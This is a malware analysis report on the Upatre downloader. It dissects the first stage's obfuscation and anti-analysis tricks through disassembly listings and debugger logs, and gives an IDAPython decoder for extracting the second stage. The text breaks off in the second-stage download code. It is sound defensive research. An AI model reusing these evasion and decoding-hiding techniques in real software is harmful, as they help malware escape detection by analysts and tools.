alexander.hanel<at>gmail.com
March 22, 2014
Version 1.0
Thanks to Glenn Edwards (@hiddenillusion) for edits and VirusTotal for access to the samples.
Dynamically Imported DLLs and APIs
For about six months now malware operators have been using a lightweight downloader named Upatre. In October of 2013 Dell SecureWorks[1] and Microsoft Malware Protection Center[2] both blogged about this family of malware. Upatre is referenced almost daily in blog posts discussing new malware + spam campaigns using the malware. The spam campaigns typically consist of emails that look like commonly sent emails from large corporations. The technique of sending emails with malware compressed in zips is not a new technique[3]; malware authors have been using this technique to target the Windows Operating System since the 90s. The recent rise in this approach for spreading malware is likely due to the arrest of Pauch and the disappearance of the BlackHole Exploit kit.
In the Dell Secureworks analysis the author mentioned the sample is one function. If the sample is one function, it made me wonder if one algorithm was used to obfuscate the command and control (C2). My initial intention was to write a decoder to extract the C2 but after reversing a number of samples I realized there were multiple algorithms with slight variations. The slight variations of Upatre are what makes it harder to detect and more interesting to analyze.
This analysis is an overview of Upatre’s encodings, obfuscation, variations and functionality. It can be broken up into two stages. The first stage is the file on disk which gives the appearance of no malicious behavior but is responsible for decoding the second stage, manually importing the second stage APIs and transferring control to the second stage. The later stage is responsible for downloading the payload. Upon initial analysis of 94 samples the only parts of the samples that are similar were the algorithms used to decode the second stage and the functionality of the second stage.
The first stage is the executable on disk before any decoding happens. The samples in this stage contain a large amount of subtle variations. Below contains a list of those variations.
The count and names vary from sample to sample. If one were to walk through the code in a debugger many of these APIs would not be called. This is used to randomize the import table, to break hashing of these values and to hide the overall functionality. If API profiling was used to determine if the sample was suspicious or not; it would likely be marked as benign. This is due to most of the APIs being used to display a GUI. or creating a window. In the images below notice the variations in API names, count and addresses.
The samples differentiate by function count (as identified by IDA). Even though the variants might use the same decoding algorithm one sample might contains 23 functions while another one might only contain a single function. Please see the Hashes table, column function count for a list of all the counts throughout the samples.
The entry point address and code vary from sample to sample. Below is the entry point for a couple of samples that were all named fax.pdf.exe:
Example 1
.text:00401191 start proc near
.text:00401191
.text:00401191 ; FUNCTION CHUNK AT .text:00401000 SIZE 00000007 BYTES
.text:00401191
.text:00401191 mov eax, offset loc_401000
.text:00401196 call sub_4012BC
.text:0040119B jmp loc_401000
.text:0040119B start endp ; sp-analysis failed
Example 2
.text:006013CA start proc near
.text:006013CA
.text:006013CA var_44 = dword ptr -44h
.text:006013CA var_38 = dword ptr -38h
.text:006013CA var_24 = dword ptr -24h
.text:006013CA Msg = tagMSG ptr -1Ch
.text:006013CA
.text:006013CA push ebp
.text:006013CB mov ebp, esp
.text:006013CD add esp, 0FFFFFFB4h
.text:006013D0 push esp ; lpStartupInfo
.text:006013D1 call GetStartupInfoA
.text:006013D7 mov eax, ebp
.text:006013D9 add eax, 0FFFFFFB4h
.text:006013DC mov edi, eax
.text:006013DE push edi ; WNDCLASSEXW *
.text:006013DF mov ecx, 30h
Example 3
text:00401D29 push ebp
.text:00401D2A mov ebp, esp
.text:00401D2C push 0FFFFFFFFh
.text:00401D2E push offset dword_402698
.text:00401D33 push offset loc_401EB0
.text:00401D38 mov eax, large fs:0
.text:00401D3E push eax
.text:00401D3F mov large fs:0, esp
.text:00401D46 sub esp, 68h
.text:00401D49 push ebx
.text:00401D4A push esi
.text:00401D4B push edi
.text:00401D4C mov [ebp+var_18], esp
.text:00401D4F xor ebx, ebx
.text:00401D51 mov [ebp+var_4], ebx
.text:00401D54 push 2
.text:00401D56 call __set_app_type
Example 4
.text:00401814 public start
.text:00401814 start proc near
.text:00401814 call sub_4010AC
.text:00401819 jmp locret_4018CA
.text:0040181E ; ---------------------------------------------------------------------------
.text:0040181E xor eax, eax
.text:00401820 retn
The samples can be classified by the encoding algorithm they use to obfuscate the payload. There are a number of different algorithms used to decode the second stage. The Hashes table contains a list of all the samples and corresponding encoding.
This is by far the most common algorithm used in the set. The XOR with Key title explains the algorithm but there are some noticeable variations throughout the set. The first variation is how the function is called. It is rarely called in a standard way such as call sub_4014C9. Instead, it is called as a window procedure to different Window’s APIs such as, RegisterClass*, RegisterClassEx* or DialogBoxIndirectParam*. A subset of the examples also use pointer math to hide the call to the parent XOR with Key function. In order to understand why this function is unique we will have to step through the whole decoding scheme:
Call to XOR with Key Parent - file name: 2013_Rep.exe
.text:004012B7 cmp eax, hWnd
.text:004012BD jnz short loc_401318
.text:004012BF mov eax, offset _ManualIAT ; function address
.text:004012C4 push ds:CreateFileW ; CreateFileW address
.text:004012CA push eax
.text:004012CB call _parent_xor
.text:004012D0 xor eax, eax
.text:004012D2 pop ebp
.text:004012D3 retn 10h
The parent function is responsible for decoding two blocks of data. The first block is the string VirtualProtect and the second is the encoded executable. The decoding is done by the function _XORRRR. The function _ManualIAT is responsible for getting the address of VirtualProtect:
.text:0040159A _parent_xor proc near ; CODE XREF: sub_401287+44p
.text:0040159A mov eax, 4
.text:0040159F mov esi, offset _key_0
.text:004015A4 mov edi, offset _dec_buffer ;
.text:004015A9 call _XORRRR ; first call to the decoding function
.text:004015AE push edi ; Encoded address of VirtualProtect
.text:004015AF push ds:GetModuleHandleW
.text:004015B5 call _ManualIAT
.text:004015BA mov ecx, 40h
.text:004015BF mov edx, offset _buff
.text:004015C4 push offset dword_4041BC
.text:004015C9 push ecx
.text:004015CA push 733h
.text:004015CF push edx
.text:004015D0 call eax ; VirtualProtect
.text:004015D2 mov eax, 14h ; size of the key
.text:004015D7 mov esi, offset _key
.text:004015DC mov edi, offset _buff
.text:004015E1 mov ecx, 732h ; size
.text:004015E6 call _XORRRR
.text:004015EB nop
The ds:GetModuleHandleW address is used to get the base address of kernel32.dll. It does a logical AND of the address to get the Code Section + Base Address of kernel32.dll. An interesting side effect of this approach, is that the sample will crash if it’s monitored with Rohitab API Monitor version 2 because the calculated value will be an invalid address. From here the sample will parse the PE header and sections to get the exported address of VirtualProtect. The function _XORRRR has no arguments pushed on to the stack but are rather passed via registers. The register ESI is the address of the key, EAX is the size of the key, EDI is the address of the encoded data and ECX is the count. The functions responsible for decoding the samples usually all have the same purpose. The main functions _XORRRR contains a loop that calls another function that is responsible for decoding the data:
.text:00401D88 _XORRRR proc near ; CODE XREF: _parent_xor+Fp
.text:00401D88 ; _parent_xor+4Cp
.text:00401D88 mov ebx, eax
.text:00401D8A push edi
.text:00401D8B push ebx
.text:00401D8C push ebx
.text:00401D8D
.text:00401D8D _loop: ; CODE XREF: _XORRRR+Fj
.text:00401D8D call _XOR_MOV
.text:00401D92 test eax, eax
.text:00401D94 jz short loc_401D9D
.text:00401D96
.text:00401D96 loc_401D96: ; CODE XREF: _XORRRR+19j
.text:00401D96 dec ecx
.text:00401D97 jnz short _loop
.text:00401D99 pop ebx
.text:00401D9A pop ebx
.text:00401D9B pop edi
.text:00401D9C retn
.text:00401D9D ; ---------------------------------------------------------------------------
.text:00401D9D
.text:00401D9D loc_401D9D: ; CODE XREF: _XORRRR+Cj
.text:00401D9D pop ebx
.text:00401D9E sub esi, ebx
.text:00401DA0 push ebx
.text:00401DA1 jmp short loc_401D96
.text:00401DA1 _XORRRR endp
From here we have a function that calls two-child functions.
.text:0040105C _XOR_MOV proc near ; CODE XREF: _XORRRR:_loopp
.text:0040105C push ecx
.text:0040105D mov ecx, [edi]
.text:0040105F call _XOR
.text:00401064 call _MOV
.text:00401069 inc edi
.text:0040106A dec ebx
.text:0040106B mov eax, ebx
.text:0040106D pop ecx
.text:0040106E retn
.text:0040106E _XOR_MOV endp
_XOR Function
.text:00401D83 _XOR proc near ; CODE XREF: _XOR_MOV+3p
.text:00401D83 mov eax, [esi]
.text:00401D85 xor al, cl
.text:00401D87 retn
.text:00401D87 _XOR endp
_MOV
.text:00401E0C _MOV proc near ; CODE XREF: _XOR_MOV+8p
.text:00401E0C mov [edi], al
.text:00401E0E inc esi
.text:00401E0F retn
.text:00401E0F _MOV endp
This is a standard XOR loop but with most of the functionality broken into subfunctions. There is a function for the loop (_XORRRR), decoding the data (_XOR) and saving the data (_MOV). Simple but this is where things get interesting from a byte and code randomization perspective. The below image is from Docs_02132014.exe.
If we were to look at the functions hierarchy we would see another interesting variation:
The structure of the functions has changed. 2013_Rep.exe is on the right while another sample named Docs_02132014 is on the left. The XOR functionality is no longer it’s own function but included in a function that calls _MOV. The assembly for sub_401D36 can be seen below.
.text:00401D36 sub_401D36 proc near ; CODE XREF: _inc_vars+6p
.text:00401D36 mov eax, [esi]
.text:00401D38 mov ch, cl
.text:00401D3A xor al, ch
.text:00401D3C inc cl
.text:00401D3E
.text:00401D3E loc_401D3E: ; CODE XREF: .text:00401ED6p
.text:00401D3E call _MOV
.text:00401D3E sub_401D36 endp ; sp-analysis failed
.text:00401D3E
.text:00401D43 retn
Below are some more example of changes for when the XOR decoding is called:
.text:0040247F sub_40247F proc near ; CODE XREF: sub_401013+5p
.text:0040247F mov ecx, [edi]
.text:00402481 mov ch, cl
.text:00402483 xor al, ch
.text:00402485 inc cl
.text:00402487 call sub_4025C2
.text:0040248C retn
.text:0040248C sub_40247F endp
Most of the variations look to be slight changes caused by recompiling. From a byte perspective the only thing that is static throughout the different variants of the XOR with Key samples is the _MOV function:
.text:00401E0C _MOV proc near ; CODE XREF: _XOR_MOV+8p
.text:00401E0C 88 07 mov [edi], al
.text:00401E0E 46 inc esi
.text:00401E0F C3 retn
.text:00401E0F _MOV endp
XOR Algorithm
The algorithm for decoding the VirtualProtect string and the encoded executable is not complex. It is simply XOR with a key, data to decode and a size. Since the key is embedded and is different throughout variants; it adds to the overall randomization of the file. This makes writing a decoder complicated because there is not a static offset or byte pattern to target. In order to write a decoder for this algorithm we would need a full disassembly engine that can handle cross-referencing functions and read operand values. If we targeted the static bytes in the _MOV function we could cross-reference until we find the arguments pushed to _XORRRR. The following Python code will search for the hex bytes of _MOV, find all cross-references until the parent function is called more than once. It will then find the encoded data, key and sizes to extract the second stage:
def get_xorrrr():
ret_addr = FindBinary(0, SEARCH_DOWN, "88 07 46 C3")
if ret_addr == BADADDR:
return None
name = GetFunctionName(ret_addr)
func_c = 0
for funcea in Functions( SegStart( ret_addr ), SegEnd( ret_addr ) ):
func_c += 1
xr = XrefsTo(ret_addr, 0)
while True:
count = 0
for a in xr:
count += 1
if count != 1:
return a.frm
break
name = GetFunctionName(a.frm)
xr = XrefsTo(LocByName(name), 0)
def get_vars(current):
count = 0
ecx = None
edi = None
esi = None
eax = None
while count < 10:
if esi != None and edi != None and ecx != None:
return (eax, ecx, edi, esi)
count += 1
current = PrevHead(current, minea=0)
op = GetOpnd(current, 0)
mn = GetMnem(current)
if mn != 'mov':
continue
if op == 'eax':
eax = GetOperandValue( current, 1)
if op == 'ecx':
ecx = GetOperandValue( current, 1)
if op == 'edi':
edi = GetOperandValue( current, 1)
if op == 'esi':
esi = GetOperandValue( current, 1)
return None
def decode_data(regs):
eax, ecx, edi, esi = regs
key = bytearray('')
data = bytearray('')
decoded = bytearray('')
for byte in GetManyBytes(esi, eax):
key.append(byte)
for byte in GetManyBytes(edi, ecx):
data.append(byte)
for index, byte in enumerate(data):
decoded.append(byte ^ key[index % eax])
return decoded
def main():
xor_addr = get_xorrrr()
d = bytearray('')
if xor_addr != None:
regs = get_vars(xor_addr)
if regs != None:
d = decode_data(regs)
main()
If we added the variable d to a file the C2 can can be extracted. This approach does work for some samples but variations of the algorithm would require further tracing of variables and the code. In Docs_02132014 from the side-by-side example above the ESI value is calculated:
.text:0040155D mov eax, 14h ; key size
.text:00401562 mov ecx, 793h ; key
.text:00401567 mov esi, hInstance
.text:0040156D add esi, 13B2h ; esi = instance (base address) + 0x13B2
.text:00401573 mov edi, offset loc_40157F
.text:00401578 call _XORRRR
.text:0040157D xor eax, eax
Another point of code randomization is the use of the XOR function being passed and called as a pointer to a window procedure as previously mentioned. Observed functions used are: RegisterClass*, RegisterClassEx* and DialogBoxIndirectParam*. This is likely used to confuse analysis tools such as API monitors. If a monitoring tool is monitoring one path of execution they will miss the function being called because the function is invoked by Windows. If we were to monitor the process using Ollydbg and create conditional log breakpoints on notable APIs we would see the following:
004012F6 CALL to CreateWindowExW
ExtStyle = 0
Class = "button"
WindowName = "Star"
Style = WS_CHILD
X = 19 (25.)
Y = 9B (155.)
Width = F0 (240.)
Height = 1E (30.)
hParent = 003706C0 ('moossi',class='Hall???')
hMenu = NULL
hInst = 00400000
lParam = NULL
..
00401312 CALL to PostMessageW
hWnd = 3E06C8
Message = BM_CLICK
wParam = 0
lParam = 0
004013C1 CALL to ShowWindow
hWnd = 003706C0 ('moossi',class='Hall???')
ShowState = SW_HIDE
004013CD CALL to UpdateWindow
hWnd = 003706C0 ('moossi',class='Hall???')
004013E0 CALL to GetMessageW
pMsg = 0012FF08
hWnd = NULL
MsgFilterMin = 0
MsgFilterMax = 0
004012AD CALL to DefWindowProcW
hWnd = 003706C0 ('moossi',class='Hall???')
Message = WM_WINDOWPOSCHANGING
wParam = 0
pWindowPos = 0012FB58
.....
004012AD CALL to DefWindowProcW
hWnd = 003706C0 ('moossi',class='Hall???')
Message = WM_KILLFOCUS
hWndGet = 003E06C8 ('Star',class='Button',parent=003706C0)
lParam = 0
7C801AD4 Hardware breakpoint 2 at kernel32.VirtualProtect
If we were to monitor the executable with a tool such as Kerberos API monitor we would not see the call to DefWindowProcW, VirtualProtect and a number of other related APIs responsible for dropping the next stage:
.....
2013_Rep.exe | 00402049 | GetStartupInfoA(0012FF64) returns: 0012FF64
2013_Rep.exe | 0040206D | GetModuleHandleA(00000000) returns: 00400000
2013_Rep.exe | 00401393 | RegisterClassExW(0012FED8) returns: 0000C1E9
2013_Rep.exe | 004013B9 | CreateWindowExW(00000000, 0040407E: "Hall", 00404062: "moossi", 00000000, 80000000, 80000000, 80000000, 80000000, 00000000, 00000000) returns: 000208B4
2013_Rep.exe | 004013C7 | ShowWindow(000208B4, 00000000) returns: 00000000
2013_Rep.exe | 004013E2 | GetMessageW(0012FF08, 00000000, 00000000, 00000000) returns: 00000001
2013_Rep.exe | 004013F9 | TranslateMessage(0012FF08) returns: 00000000
2013_Rep.exe | 004013FF | DispatchMessageW(0012FF08)
....
Variations of calls to RegisterClass*, RegisterClassEx* and DialogBoxIndirectParam* can be seen below:
.text:00401947 push esp ; lpWndClass
.text:00401948 mov [ebp+var_24], offset sub_401660 ; calls XOR with Key Function
.text:0040194F mov eax, hInstance
.text:00401954 mov [ebp+Msg.message], eax
.text:00401957 mov [ebp+Msg.pt.y], offset aZeenty ; "zeenty"
.text:0040195E call ds:RegisterClassA
String Variations
mov [ebp+Msg.pt.y], offset aSolienty ; "solienty"
mov dword ptr [ebp-4], offset aRisiliency ; "risiliency"
Example 1
.text:004012E2 push eax ; WNDCLASSEXA *
.text:004012E3 mov [eax], ecx
.text:004012E5 add eax, 4Ch
.text:004012E8 mov ebp, eax
.text:004012EA mov eax, 400000h
.text:004012EF mov hInstance, eax
.text:004012F4 mov [ebp-38h], eax
.text:004012F7 mov dword ptr [ebp-44h], offset sub_401198 ; calls XOR with Key
.text:004012FE mov dword ptr [ebp-24h], offset aResiliency ; "resiliency"
.text:00401305 call ds:RegisterClassExA
Example 2
.text:00401292 push edi ; WNDCLASSEXA *
.text:00401293 mov ecx, 30h
.text:00401298 mov [edi], ecx
.text:0040129A sub ecx, 25h
.text:0040129D xor eax, eax
.text:0040129F
.text:0040129F loc_40129F: ; CODE XREF: sub_401285+21j
.text:0040129F inc edi
.text:004012A0 inc edi
.text:004012A1 inc edi
.text:004012A2 inc edi
.text:004012A3 mov [edi], eax
.text:004012A5 dec ecx
.text:004012A6 jnz short loc_40129F
.text:004012A8 mov eax, [ebp+arg_0]
.text:004012AB mov hInstance, eax
.text:004012B0 mov [ebp+var_38], eax
.text:004012B3 mov [ebp+var_44], offset sub_401184 ; calls XOR with Key
.text:004012BA mov [ebp+var_24], offset aGrite ; "grite"
.text:004012C1 call RegisterClassExA
Example 3
.text:00401407 mov [ebp+var_4C.lpszClassName], offset ClassName ; "piling"
.text:0040140E mov [ebp+var_4C.hIconSm], edi
.text:00401411 mov ecx, edi
.text:00401413 mov [ebp+var_4C.lpfnWndProc], offset sub_401306 ; ; calls XOR with Key
.text:0040141A mov [ebp+var_4C.cbClsExtra], edi
.text:0040141D mov [ebp+var_4C.cbWndExtra], edi
.text:00401420 mov [ebp+var_4C.hIcon], ecx
.text:00401423 lea esi, [ebp+var_4C]
.text:00401426 push esi ; WNDCLASSEXA *
.text:00401427 mov [ebp+var_4C.hCursor], ecx
.text:0040142A mov [ebp+var_4C.hbrBackground], edi
.text:0040142D mov [ebp+var_4C.lpszMenuName], edi
.text:00401430 call ds:RegisterClassExA
String Variations
mov dword ptr [ebp-24h], offset aResiliency ; "resiliency"
mov [ebp+var_24], offset aCognomen ; "cognomen"
.text:004014BE mov [ebp+var_4C.cbSize], 30h
.text:004014C5 mov eax, 3
.text:004014CA mov [ebp+var_4C.style], eax
.text:004014CD mov eax, [ebp+hInstance]
.text:004014D0 mov hInstance, eax
.text:004014D5 mov eax, edi
.text:004014D7 mov [ebp+var_4C.lpfnWndProc], offset sub_401367 ; calls XOR with Key
.text:004014DE mov [ebp+var_4C.cbClsExtra], edi
.text:004014E1 mov [ebp+var_4C.cbWndExtra], edi
.text:004014E4 mov [ebp+var_4C.hIcon], eax
.text:004014E7 mov [ebp+var_4C.lpszClassName], offset word_40312D
.text:004014EE mov [ebp+var_4C.hIconSm], eax
.text:004014F1 mov [ebp+var_4C.hCursor], eax
.text:004014F4 mov [ebp+var_4C.hbrBackground], edi
.text:004014F7 mov [ebp+var_4C.lpszMenuName], edi
.text:004014FA lea esi, [ebp+var_4C]
.text:004014FD push esi ; WNDCLASSEXW *
.text:004014FE call ds:RegisterClassExW
Example 1
.text:004014BE push esi ; lpModuleName
.text:004014BF call ds:GetModuleHandleA
.text:004014C5 mov hInstance, eax
.text:004014CA push 0 ; dwInitParam
.text:004014CC push (offset loc_40110B+5) ; lpDialogFunc calls XOR with Key
.text:004014D1 push 0 ; hWndParent
.text:004014D3 push offset hDialogTemplate ; hDialogTemplate
.text:004014D8 push hInstance ; hInstance
.text:004014DE call ds:DialogBoxIndirectParamW
Example 2
.text:00401CC0 mov esi, [ebp+hInstance]
.text:00401CC3 call GetDialogBaseUnits
.text:00401CC9 mov dword_4026B4, esi
.text:00401CCF push 0 ; dwInitParam
.text:00401CD1 push offset DialogFunc ; lpDialogFunc calls XOR with Key
.text:00401CD6 push 0 ; hWndParent
.text:00401CD8 push offset hDialogTemplate ; hDialogTemplate
.text:00401CDD push esi ; hInstance
.text:00401CDE call DialogBoxIndirectParamW
Notes: Slight variations of this example exist. Changes caused by the changes in static offsets.
Example 3
.text:004010ED add edi, 16h
.text:004010F0 push offset aP ; "P"
.text:004010F5 push edi ; lpString1
.text:004010F6 call ds:lstrcpyW
.text:004010FC add edi, 1Ah
.text:004010FF add edi, 1
.text:00401102 and edi, 0FFFFFFFEh
.text:00401105 add edi, 2
.text:00401108 push 0 ; dwInitParam
.text:0040110A push offset DialogFunc ; lpDialogFunc calls XOR with Key
.text:0040110F push 0 ; hWndParent
.text:00401111 push esi ; hDialogTemplate
.text:00401112 push hInstance ; hInstance
.text:00401118 call ds:DialogBoxIndirectParamW
.text:0040111E push eax
.text:0040111F push esi ; lpMem
.text:00401120 push 0 ; dwFlags
.text:00401122 push hHeap ; hHeap
.text:00401128 call ds:HeapFree
Notes: The beginning of the function contains unused lstrcpyW calls.
Example 4
.text:004011B3 call ds:GetDialogBaseUnits
.text:004011B9 mov dword_4030B9, eax
.text:004011BE mov dword_4038D4, esi
.text:004011C4 push 0 ; dwInitParam
.text:004011C6 push (offset sub_401100+1) ; lpDialogFunc calls XOR with Key
.text:004011CB push 0 ; hWndParent
.text:004011CD push offset hDialogTemplate ; hDialogTemplate
.text:004011D2 push esi ; hInstance
.text:004011D3 call ds:DialogBoxIndirectParamW
Notes: Variation of example 1 but GetDialogBaseUnits called and the return saved in global variable.
.text:004010CE call CreateWindowExA
.text:004010D4 test eax, eax
.text:004010D6 jz short $+2
.text:004010D8 mov esi, 3FFFFFh
.text:004010DD inc esi
.text:004010DE mov dword_402A84, esi
.text:004010E4 push 0 ; dwInitParam
.text:004010E6 push offset DialogFunc ; lpDialogFunc
.text:004010EB push 0 ; hWndParent
.text:004010ED push offset hDialogTemplate ; hDialogTemplate
.text:004010F2 push esi ; hInstance
.text:004010F3 call DialogBoxIndirectParamA
.text:004010F9 pop esi
.text:004010FA pop ebp
Notes:Only one example of DialogBoxIndirectParamA was found in set.
.text:0050105B mov eax, offset sub_5013A5
.text:00501060 push ds:GetModuleHandleA
.text:00501066 push eax
.text:00501067 call loc_50151B
.text:0050106C
.text:0050106C loc_50106C: ; CODE XREF: sub_501000+59j
.text:0050106C call ds:CoUninitialize
.text:00501072 pop ebp
.text:00501073 retn 10h
.text:00401034 push offset strIn ; strIn
.text:00401039 push offset a0xAF09aF18 ; "^0x[A-F0-9a-f]{1,8}$"
.text:0040103E call sub_4023DB
.text:00401043 push 200h ; cchWideChar
.text:00401048 push offset strIn ; strIn
.text:0040104D push offset MultiByteStr ; "0x8732ffda"
.text:00401052 call sub_40124B ; return 1
.text:00401057 shl eax, 3
.text:0040105A mov _global, eax ; save off eax
.text:0040105F push 200h ; cchWideChar
.text:00401064 push offset strIn ; strIn
.text:00401069 push offset a0x632kl5a ; "0x632kl5A"
.text:0040106E call sub_40124B ; returns 0
.text:00401073 shl eax, 3
.text:00401076 add _global, eax ; add 0x0 + 0x08
.text:0040107C mov eax, GetModuleHandleA
.text:00401081 push eax
.text:00401082 mov eax, offset loc_401817
.text:00401087 add eax, _global
.text:0040108D push eax
.text:0040108E mov ecx, offset loc_401A5D ; ecx = 00401A5D
.text:00401093 add ecx, _global ; add 0x08
.text:00401099 call ecx ; VoiceMes.00401A65
There are couple of variations of this one. It uses a simple add or subtract of a calculated or static key on a byte. The calculated key relies on the successful return of the calling of a useless API call.
.text:0040103C mov ds:dword_402475, eax
.text:00401041 mov edx, eax
.text:00401043 call ds:GetTickCount
.text:00401049 xor edi, edi
.text:0040104B call ds:GetVersion
.text:00401051 xor esi, esi
.text:00401053 push hwo ; hwo
.text:00401059 call ds:waveOutClose
.text:0040105F add eax, 6 ; add 6 to the return of waveOutClose
.text:00401062 test eax, 0Bh
.text:00401067 jnz short loc_401075
.text:00401069 push 0 ; uExitCode
.text:0040106B call ds:ExitProcess
.text:00401071 ; ---------------------------------------------------------------------------
.text:00401071 push cs
.text:00401072 add [eax+eax], cl
.text:00401075
.text:00401075 loc_401075: ; CODE XREF: sub_40103C+2Bj
.text:00401075 mov edx, eax
.text:00401077 retn
In the code above the sample calls waveOutClose, adds 6 to the return value and then tests if the return + 6 is equal to 0xb. If not, the sample will call ExitProcess. A little later on the calculated value is used a key for decoding the second stage.
.text:00401000 mov ebx, eax ; eax = results from waveOutClose + 6
.text:00401002 add bl, 5 ; bl = 0x10
.text:00401005 xor esi, offset _encoded_buffer
.text:0040100B xor edi, esi
.text:0040100D mov ecx, 3AEh ; loop count
.text:00401012
.text:00401012 _loop: ; CODE XREF: sub_401000+25j
.text:00401012 mov edx, esi
.text:00401014 xchg dl, [edx]
.text:00401016 add dl, bl ; dl = byte value; bl = waveOutClose + 6 + 5
.text:00401018 mov al, dl
.text:0040101A stosb
.text:0040101B mov edx, 30h
.text:00401020 inc esi
.text:00401021 inc esi
.text:00401022 inc edi
.text:00401023 dec ecx
.text:00401024 dec ecx ; ecx =- 2, skip a byte
.text:00401025 jnz short _loop
Another example will read one byte, subtract by a key, skip 3 bytes, read one byte, subtract, skip 3, etc.In the image below we can see a distincitve pattern of the encoded byte (0040487) followed by two null bytes.
Assembly for the decoder.
.text:00402105 push eax ; address of allocated memory
.text:00402106 mov edi, eax
.text:00402108 mov esi, offset _encoded_data ; "T"
.text:0040210D mov ecx, ds:_size
.text:00402113 dec ecx
.text:00402114 mov bl, ds:_key ; static key of 0x31
.text:0040211A rdtsc
.text:0040211C push eax
.text:0040211D mov bh, [esi] ; read one byte from buffer
.text:0040211F mov [edi], bh
.text:00402121 inc edi
.text:00402122
.text:00402122 _loop: ; CODE XREF: _move_dec+28j
.text:00402122 inc esi
.text:00402123 inc esi
.text:00402124 inc esi ; esi += 3
.text:00402125 push eax
.text:00402126 mov al, [esi]
.text:00402128 stosb
.text:00402129 sub [edi-1], bl ; subtract by key
.text:0040212C pop eax
.text:0040212D loop _loop
.text:0040212F rdtsc
.text:00402131 pop edx
.text:00402132 sub eax, edx
.text:00402134 pop edx
.text:00402135 sub edx, 229h
.text:0040213B retn
The instruction rdtsc (Time Stamp Counter)is present in a number of samples but is never used maliciously. Some malware call the instruction rdtsc to test if the sample is being debugged or run in an emulated environment. Strangely the returned values are never used.
Only two samples were found that used this technique and both of the samples crashed when executed. The crash is due to the sample incorrectly decoding the string VirtualProtect. Since the string is incorrect and the API’s address can not be found the samples tries to call an invalid address:
.text:004019D5 mov esi, (offset loc_4014AA+5)
.text:004019DA mov edi, eax
.text:004019DC mov eax, 4
.text:004019E1 mov ecx, 0Fh
.text:004019E6 call _XOR_Decode
.text:004019EB push edi
.text:004019EC push ds:CreateFileA
.text:004019F2 call _ManualIAT
.text:004019F7 push offset dword_4041B0
.text:004019FC push 40h
.text:004019FE push 74Eh
.text:00401A03 push offset loc_401A23
.text:00401A08 call eax ; call decoded function address
.text:00401A0A mov esi, offset byte_40119D ; key
.text:00401A0F mov eax, 14h
.text:00401A14 mov edi, offset loc_401A23 ; data
.text:00401A19 mov ecx, 74Dh ; data size
.text:00401A1E call _XOR_Decode
.text:00401A23
.text:00401A23 loc_401A23: ; DATA XREF: sub_4019D5+2Eo
.text:00401A23 ; sub_4019D5+3Fo
.text:00401A23 pop edx
Register Dump after executing instruction 00401A08 .
EAX 00000000
ECX 000003B9
EDX 7C808FF4 kernel32.7C808FF4
EBX 00000000
ESP 0012F854
EBP 0012F874
ESI 004014B2 I_BANBUR.004014B2
EDI 00404092 I_BANBUR.00404092
EIP 00000000
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDD000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
Samples that use this algorithm contain a noticeable amount of ROL and MOV instructions. The use of obfuscation is to hide strings and slow down analysis. Below are a couple of lines from the first function in Complaint_091220.exe. At address 004013A5 we can see 0x3834BD33 is moved into the register ECX. After the move a logical ROL with a shift of 19 is carried out on the value:
.text:004013A5 mov ecx, 3834BD33h ; count:1
.text:004013AA rol ecx, 19h ; count:1
.text:004013AD mov [ebx], ecx ; count:1
Which is equivalent to the following Python code.
>>> def ROL(data, shift, size=32):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
>>> binascii.unhexlify(hex(ROL(0x3834BD33, 0x19))[2:-1])
'fpiz'
A little bit after another DWord value is calculated and then combined to make the string "zipfldr.dll". The obfuscated string values from the entry point can be seen highlighted below:
.text:00401381 mov ebp, esp ; count:1
.text:00401383 sub esp, 1C0h ; count:1
.text:00401389 call sub_4012F8 ; count:1
.text:0040138E push SM_NETWORK ; count:1
.text:00401390 call GetSystemMetrics ; count:1
.text:00401395 test eax, 1 ; count:1
.text:0040139A jz loc_401694 ; count:1
.text:004013A0 mov ebx, offset LibFileName ; count:1
.text:004013A5 mov ecx, 3834BD33h ; count:1
.text:004013AA rol ecx, 19h ; count:1
.text:004013AD mov [ebx], ecx ; count:1
.text:004013AF mov edx, 0B9C991B0h ; count:1
.text:004013B4 rol edx, 1Eh ; count:1
.text:004013B7 mov [ebx+4], edx ; count:1
.text:004013BA mov eax, 0F377E317h ; count:1
.text:004013BF sub eax, 0F30B76B3h ; count:1
.text:004013C4 mov [ebx+8], eax ; count:1
.text:004013C7 push ebx ; count:1
.text:004013C8 call LoadLibraryA ; count:1
.text:004013CD test eax, eax ; count:1
.text:004013CF jz loc_401694 ; count:1
.text:004013D5 add eax, 6A0C6A08h ; count:1
.text:004013DA mov [ebp+var_C], eax ; count:1
.text:004013DD mov ecx, 0FFB563D9h ; count:1
.text:004013E2 mov [ebp+var_84], ecx ; count:1
.text:004013E8 mov edx, 2B2B42A3h ; count:1
.text:004013ED mov [ebp+var_30], edx ; count:1
.text:004013F0 mov eax, 1EDF553Bh ; count:1
.text:004013F5 mov [ebp+var_28], eax ; count:1
.text:004013F8 mov ecx, 0FFFF807Fh ; count:1
.text:004013FD mov [ebp+var_60], ecx ; count:1
.text:00401400 mov edx, 7A7CBA17h ; count:1
.text:00401405 mov [ebp+var_2C], edx ; count:1
The count values are from a PIN tool log. This is used to ignore code that is not called. It also makes it easy to identify the size of the encoded data by counting how many times the instructions are called:
Analyst Note: Monitoring calls to VirtualProtectEx can give hints as to what area of code will be changed to be executable and then called.
0012FDE4 00401475 /CALL to VirtualProtect from Complain.00401470
0012FDE8 04004000 |Address = 04004000
0012FDEC 00001000 |Size = 1000 (4096.)
0012FDF0 00000020 |NewProtect = PAGE_EXECUTE_READ
0012FDF4 0012FFC0 \pOldProtect = 0012FFC0
0012FDF8 00401130 Complain.00401130
Setting a breakpoint on VirtualProtect, then pressing F7 a couple of times until after JMP REG is stepped over will bring us to the second stage for this variant.
After the decoding is done the malware will dynamically import the needed DLLs and APIs to call the second stage. The following DLLs and APIs are imported using the same functions used to import the address of VirtualProtect.
kernel32.dll
user32.dll
wininet.dll
shell32.dll
This stage is responsible for downloading the payload. In the past the payload has been GameOver Zeus, Cryptolocker and a number of common financially motivated malware. The second stage is very simple.
seg000:04001401 mov eax, [ebp+var_8]
seg000:04001404 push esi
seg000:04001405 push esi
seg000:04001406 push 3 ; INTERNET_SERVICE_HTTP
seg000:04001408 push esi
